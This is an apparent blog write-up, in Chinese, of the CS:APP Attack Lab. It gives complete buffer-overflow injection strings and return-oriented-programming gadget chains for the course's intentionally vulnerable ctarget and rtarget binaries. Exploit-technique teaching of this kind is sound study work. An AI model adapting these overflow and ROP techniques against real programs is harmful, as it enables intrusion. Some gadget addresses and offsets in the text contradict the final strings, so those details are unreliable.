csapp attack lab

实验内容

进行5次攻击,前三个leve为代码注入攻击,后两个为面向返回编程。

实验文件

README.txt:描述目录内容的文件
ctarget:易受代码注入攻击的可执行程序
rtarget:易受面向返回编程攻击的可执行程序
cookie.txt:8位十六进制代码,您将在攻击中使用它作为唯一标识符。
farm.c:目标“gadget farm”的源代码,您将使用它生成面向返回的编程攻击。
hex2raw:生成攻击字符串的实用程序。

注:注意给文件开放权限 

准备资料

attack lab 官方文档:http://csapp.cs.cmu.edu/3e/attacklab.pdf

attack lab 大佬机翻:《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻_Addyz的博客-CSDN博客_hex2raw怎么用

阶段一  代码注入攻击

level1

ctarget将执行test函数,你的任务是在执行完getbuf函数后,程序不执行test函数,而是执行touch1函数。

csapp attack lab_第1张图片

 csapp attack lab_第2张图片

我们首先查看getbuf的汇编代码

csapp attack lab_第3张图片

 可以看到getbuf开辟了0x28也就是40个字符大小空间。

此时简化的的栈图为

csapp attack lab_第4张图片

 所以只要我们输入的数据填满getbuf()开辟的40个空间就会溢出并覆盖返回地址,当getbuf()执行完毕时就会跳转到返回地址。所以我们的攻击序列是任意40个字符加上返回地址。因为我们是在小端机器上做实验,所以返回地址序列要满足小端规则。

查看touch1地址为0x4017c0

csapp attack lab_第5张图片

 所以我们的攻击序列为

//ans.txt
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00

然后用hex2raw将其转化为攻击字符串(因为hex2raw的转化是以空格为间隔,所以换行时记得打空格)

./hex2raw  out.txt

 然后运行(因为我们不是cmu的学生所以无法连接cmu的服务器,运行时要 -q)

 ./ctarget -q -i out.txt

过啦!

csapp attack lab_第6张图片

leve2

您的任务是让 CTARGET 执行 touch2 的代码,而不是返回测试。 但是,在这种情况下,您必须使它看起来像 touch2,好像您已将 cookie 作为其参数传递一样

csapp attack lab_第7张图片

csapp attack lab_第8张图片

 

 可以看到这次跳转需要传递参数cookie(存放在cookie.txt文件中,我的cookie为0x59b997fa),所以我们要在跳转前将cookie传递进寄存器%rdi,而要达到这种效果就需要植入我们自己的代码。所以我们可以在攻击序列中加入相关机器码,而返回地址就是该机器码的地址,最后将touch2的地址(0x4017ec)压入栈中,机器码执行完毕自动跳转到该地址。由此我们须植入的机器码的汇编代码为

//t2.s
movq    $0x59b997fa,%rdi
pushq    $0x4017ec
ret

编译

gcc -c t2.s

 查看对应机器码

csapp attack lab_第9张图片

 

因为后续要跳转到我们写入的机器码地址,而我打算将机器码直接写在缓冲起点,所以需要找到getbuf的缓冲起点,我们就在getbuf开辟0x28空间之后打个断点然后查看$rsp的地址,该地址就是缓冲起点

 

 然后运行并查看断点位置的%rsp地址,就是缓冲起点。

 

得到地址为0x5561dc78

此时可以写出攻击序列

48 c7 c7 fa 97 b9 59 68   // 机器码
ec 17 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
78 dc 61 55 00 00 00 00  // 机器码起点地址

 转换攻击字符后执行

过啦!

csapp attack lab_第10张图片

level3

您的任务是让 CTARGET 执行 touch3 的代码,而不是返回测试。 您必须让它在 touch3 看来就像您传递了 cookie 的字符串表示作为其参数一样。

csapp attack lab_第11张图片

这次需要将cookie转化为字符串表示并存放在攻击序列中,然后跳转进入touch3时传递cookie字符串的首地址。这个level只需 在上个level上做一点点修改便可成功,但是要注意的是hexmatch函数开辟了110个字符空间,大于getbuf开辟的40个空间,所以将cookie的字符串保存在缓冲区内肯定会被覆盖,所以我们可以将cookie的字符串保存在返回地址的后面。cookie的ASCII码表示为

cookie: 0x59b997fa  : 35 39 62 39 39 37 66 61 (在控制面板输入 man ascii 即可查询)

查看touch3地址

touch3:0x4018fa 

我们注入的机器码对应的汇编代码为

movq    $0x5561dca8,%rdi 
pushq   $0x4018fa
ret 

因为缓冲起点为0x5561dc78,所以字符串首地址为0x5561dc78+0x28(缓冲区大小)+0x8(返回地址大小) = 0x5561dca8。

转化为机器码

所以我们的攻击序列为

48 c7 c7 a8 dc 61 55 68  // 机器码 
fa 18 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
78 dc 61 55 00 00 00 00  // 机器码地址 
35 39 62 39 39 37 66 61  // cookie的ASCII码

 转化为攻击字符后执行

过啦!

csapp attack lab_第12张图片

 阶段二  面向返回编程

第二阶段开启了

  • 栈随机化:每次程序运行栈的位置都是随机的,因此无法确定注入代码应放的位置;
  • 限制可执行代码区域:将保存堆栈的内存区域标记为不可执行,因此即使将程序计数器设置为注入代码的开头,程序也会因为分段错误而失败。

所以我们要使用面向返回编程来达到我们的目的。其实面向返回编程的原理就是利用用一个个的gadget组合起来达到相关机器码的效果。因为gadget是以ret结尾,所以一个gadget执行完后会跳转到你写入的下一个gadget的地址。

根据实验参考文件,所需的所有gadget都可以在函数start_farmmid_farm划分的rtarget的代码区域中找到。

0000000000401994 :
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	retq   
000000000040199a :
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   
00000000004019a0 :
  4019a0:	8d 87 `48 89 c7 c3`    	lea    -0x3c3876b8(%rdi),%eax  # movq %rax,%rdi
  4019a6:	c3                   	retq   
00000000004019a7 :                           
  4019a7:	8d 87 51 73 `58 90`    	lea    -0x6fa78caf(%rdi),%eax  # popq %rax
  4019ad:	`c3`                  	retq    
00000000004019ae :
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   
00000000004019b5 :
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   
00000000004019bc :
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   
00000000004019c3 :
  4019c3:	c7 07 `48 89 c7 90`    	movl   $0x90c78948,(%rdi)
  4019c9:	`c3`                   	retq   
00000000004019ca :
  4019ca:	b8 29 `58 90 c3`       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   
00000000004019d0 :
  4019d0:	b8 01 00 00 00       	mov    $0x1,%eax
  4019d5:	c3                   	retq   
00000000004019d6 :
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   
00000000004019db :
  4019db:	b8 5c `89 c2 90`      	mov    $0x90c2895c,%eax  #movl %eax,%edx
  4019e0:	`c3`                   	retq   
00000000004019e1 :
  4019e1:	c7 07 99 d1 90 90    	movl   $0x9090d199,(%rdi)
  4019e7:	c3                   	retq   
00000000004019e8 :
  4019e8:	8d 87 89 ce 78 c9    	lea    -0x36873177(%rdi),%eax
  4019ee:	c3                   	retq   
00000000004019ef :
  4019ef:	8d 87 8d d1 20 db    	lea    -0x24df2e73(%rdi),%eax
  4019f5:	c3                   	retq   
00000000004019f6 :
  4019f6:	b8 89 d1 48 c0       	mov    $0xc048d189,%eax
  4019fb:	c3                   	retq   
00000000004019fc :
  4019fc:	c7 07 81 d1 84 c0    	movl   $0xc084d181,(%rdi)
  401a02:	c3                   	retq   
0000000000401a03 :
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq   
0000000000401a0a :
  401a0a:	c7 07 88 c2 08 c9    	movl   $0xc908c288,(%rdi)
  401a10:	c3                   	retq   
0000000000401a11 :
  401a11:	8d 87 `89 ce 90 90`    	lea    -0x6f6f3177(%rdi),%eax  #movl %ecx,%esi
  401a17:	`c3`                   	retq   
0000000000401a18 :
  401a18:	b8 48 89 e0 c1       	mov    $0xc1e08948,%eax
  401a1d:	c3                   	retq   
0000000000401a1e :
  401a1e:	8d 87 89 c2 00 c9    	lea    -0x36ff3d77(%rdi),%eax
  401a24:	c3                   	retq   
0000000000401a25 :
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   
0000000000401a2c :
  401a2c:	c7 07 81 ce 08 db    	movl   $0xdb08ce81,(%rdi)
  401a32:	c3                   	retq   
0000000000401a33 :
  401a33:	b8 `89 d1 38 c9`       	mov    $0xc938d189,%eax  #movl %edx,%ecx
  401a38:	`c3`                   	retq   
0000000000401a39 :
  401a39:	8d 87 c8 89 e0 c3    	lea    -0x3c1f7638(%rdi),%eax
  401a3f:	c3                   	retq   
0000000000401a40 :
  401a40:	8d 87 89 c2 84 c0    	lea    -0x3f7b3d77(%rdi),%eax
  401a46:	c3                   	retq   
0000000000401a47 :
  401a47:	8d 87 48 89 e0 c7    	lea    -0x381f76b8(%rdi),%eax
  401a4d:	c3                   	retq   
0000000000401a4e :
  401a4e:	b8 99 d1 08 d2       	mov    $0xd208d199,%eax
  401a53:	c3                   	retq   
0000000000401a54 :
  401a54:	b8 89 c2 c4 c9       	mov    $0xc9c4c289,%eax
  401a59:	c3                   	retq   
0000000000401a5a :
  401a5a:	c7 07 48 89 e0 91    	movl   $0x91e08948,(%rdi)
  401a60:	c3                   	retq   
0000000000401a61 :
  401a61:	8d 87 89 ce 92 c3    	lea    -0x3c6d3177(%rdi),%eax
  401a67:	c3                   	retq   
0000000000401a68 :
  401a68:	b8 89 d1 08 db       	mov    $0xdb08d189,%eax
  401a6d:	c3                   	retq   
0000000000401a6e :
  401a6e:	c7 07 89 d1 91 c3    	movl   $0xc391d189,(%rdi)
  401a74:	c3                   	retq   
0000000000401a75 :
  401a75:	c7 07 81 c2 38 d2    	movl   $0xd238c281,(%rdi)
  401a7b:	c3                   	retq   
0000000000401a7c :
  401a7c:	c7 07 09 ce 08 c9    	movl   $0xc908ce09,(%rdi)
  401a82:	c3                   	retq   
0000000000401a83 :
  401a83:	8d 87 08 `89 e0 90`    	lea    -0x6f1f76f8(%rdi),%eax
  401a89:	`c3`                   	retq   
0000000000401a8a :
  401a8a:	8d 87 89 c2 c7 3c    	lea    0x3cc7c289(%rdi),%eax
  401a90:	c3                   	retq   
0000000000401a91 :
  401a91:	b8 88 ce 20 c0       	mov    $0xc020ce88,%eax
  401a96:	c3                   	retq   
0000000000401a97 :
  401a97:	c7 07 48 89 e0 c2    	movl   $0xc2e08948,(%rdi)
  401a9d:	c3                   	retq   
0000000000401a9e :
  401a9e:	8d 87 89 c2 60 d2    	lea    -0x2d9f3d77(%rdi),%eax
  401aa4:	c3                   	retq   
0000000000401aa5 :
  401aa5:	b8 8d ce 20 d2       	mov    $0xd220ce8d,%eax
  401aaa:	c3                   	retq   
0000000000401aab :
  401aab:	c7 07 `48 89 e0 90`    	movl   $0x90e08948,(%rdi) #movq %rsp,%rax
  401ab1:	`c3`                   	retq   
0000000000401ab2 :
  401ab2:	b8 01 00 00 00       	mov    $0x1,%eax
  401ab7:	c3                   	retq   

满足条件的gadget

0x4019a2  48 89 c7 c3   movq %rax,%rdi
0x4019ab 58 (90) c3   popq %rax
0x401aad 48 89 e0 (90) c3   movq %rsp,%rax
0x4019dd  89 c2 (90) c3 movl %eax,%edx
0x401a34 89 d1 (38) (c9) c3  movl %edx,%ecx
0x401a13  89 ce (90) (90) c3 movl %ecx,%esi
0x4019d6   48 8d 04 37 c3 lea (%rdi,%rsi,1),%rax

 括号内机器码为nop或2字节指令,不会影响代码执行。

level4

level4我们需要达成level2的效果,所以我们的攻击序列结构应该如下

1 填充 0x28个空间
2 popq %rax // 58 c3
3 cookie // 0x59b997fa
4 movq %rax,%rdi // 48 89 c7 c3
5 touch2 // 0x00000000004017ec

然后相应的gadget和其地址为

0x4019ca 58 (90) c3   popq %rax
0x4019a2  48 89 c7 c3   movq %rax,%rdi

所以我们的攻击序列为

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//填充
ab 19 40 00 00 00 00 00 
//gadget1
fa 97 b9 59 00 00 00 00 
//cookie
a2 19 40 00 00 00 00 00 
//gadget2
ec 17 40 00 00 00 00 00
//touch2

转为攻击字符并执行

过啦!

csapp attack lab_第13张图片

level5

最后一个我们是要实现leve3的效果,而我们要传入cookie字符首地址的话只能靠写入然后利用cookie地址与栈顶%rsp的偏移来计算。因为没有找到达到要求的add运算,所以找到了替代用的函数

00000000004019d6 :
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq  

所以我们的攻击序列结构为

1 填充  
2 movq %rsp,%rax : 0x401a06
3 movq %rax,%rdi : 0x4019a2
4 popq %rax      : 0x4019ab
5 $value(偏移量)  : 0x58
6 movl %eax,%edx : 0x4019dd
7 movl %edx,%ecx : 0x401a70
8 movl %ecx,%esi : 0x401a13
9 call   : 0x4019d6
10 movq %rax,%rdi : 0x4019a2
11 call   : 0x4018fa
12 cookie         : 35 39 62 39 39 37 66 61      

计算得偏移量为0x48.

所以攻击序列为

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//填充
06 1A 40 00 00 00 00 00 
//target1
A2 19 40 00 00 00 00 00 
//target2
AB 19 40 00 00 00 00 00 
//target3 
48 00 00 00 00 00 00 00 
//偏移量 
DD 19 40 00 00 00 00 00 
//target4
70 1A 40 00 00 00 00 00 
//target5
13 1A 40 00 00 00 00 00 
//target6
D6 19 40 00 00 00 00 00 
//target7
A2 19 40 00 00 00 00 00 
//target8
FA 18 40 00 00 00 00 00 
//target9
35 39 62 39 39 37 66 61
//cookie

转化攻击字符并运行

过啦!

csapp attack lab_第14张图片

 

你可能感兴趣的:(c语言)